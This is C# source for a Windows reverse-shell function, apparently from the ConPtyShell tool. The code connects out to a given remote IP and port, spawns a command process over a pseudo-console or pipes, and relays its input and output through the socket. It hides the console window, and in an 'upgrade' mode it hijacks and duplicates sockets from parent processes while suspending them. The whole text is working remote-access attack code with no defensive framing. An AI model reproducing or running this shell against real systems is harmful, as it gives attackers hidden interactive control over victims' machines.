public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) { IntPtr shellSocket = IntPtr.Zero; IntPtr InputPipeRead = IntPtr.Zero; IntPtr InputPipeWrite = IntPtr.Zero; IntPtr OutputPipeRead = IntPtr.Zero; IntPtr OutputPipeWrite = IntPtr.Zero; IntPtr handlePseudoConsole = IntPtr.Zero; IntPtr oldStdIn = IntPtr.Zero; IntPtr oldStdOut = IntPtr.Zero; IntPtr oldStdErr = IntPtr.Zero; bool newConsoleAllocated = false; bool parentSocketInherited = false; bool grandParentSocketInherited = false; bool conptyCompatible = false; string output = ""; Process currentProcess = null; Process parentProcess = null; Process grandParentProcess = null; if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) { conptyCompatible = true; } PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); if (conptyCompatible) { Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); if (upgradeShell) { currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess); if (shellSocket != IntPtr.Zero) { shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); if (parentProcess != null) { parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); } } else { shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); } if (grandParentProcess != null) { grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } } else { shellSocket = connectRemote(remoteIp, remotePort); if (shellSocket == IntPtr.Zero) { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return(output); } TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); } if (GetConsoleWindow() == IntPtr.Zero) { AllocConsole(); ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } //Console.WriteLine("Creating pseudo console..."); //return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if (pseudoConsoleCreationResult != 0) { output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); return(output); } childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); } else { if (upgradeShell) { output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); return(output); } shellSocket = connectRemote(remoteIp, remotePort); if (shellSocket == IntPtr.Zero) { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return(output); } Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; sInfo.hStdInput = InputPipeRead; sInfo.hStdOutput = OutputPipeWrite; sInfo.hStdError = OutputPipeWrite; CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); } // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released // when the ConPTY is destroyed. if (InputPipeRead != IntPtr.Zero) { CloseHandle(InputPipeRead); } if (OutputPipeWrite != IntPtr.Zero) { CloseHandle(OutputPipeWrite); } //Threads have better performance than Tasks Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); if (upgradeShell && parentSocketInherited) { NtSuspendProcess(parentProcess.Handle); } if (upgradeShell && grandParentSocketInherited) { NtSuspendProcess(grandParentProcess.Handle); } WaitForSingleObject(childProcessInfo.hProcess, INFINITE); //cleanup everything if (upgradeShell && parentSocketInherited) { NtResumeProcess(parentProcess.Handle); } if (upgradeShell && grandParentSocketInherited) { NtResumeProcess(grandParentProcess.Handle); } thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); closesocket(shellSocket); RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); if (newConsoleAllocated) { FreeConsole(); } CloseHandle(childProcessInfo.hThread); CloseHandle(childProcessInfo.hProcess); if (handlePseudoConsole != IntPtr.Zero) { ClosePseudoConsole(handlePseudoConsole); } if (InputPipeWrite != IntPtr.Zero) { CloseHandle(InputPipeWrite); } if (OutputPipeRead != IntPtr.Zero) { CloseHandle(OutputPipeRead); } output += "ConPtyShell kindly exited.\r\n"; return(output); }
private uint ThreadCheckDeadlock(uint threadParams) { SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); this.deadlockDetected = false; return(0); }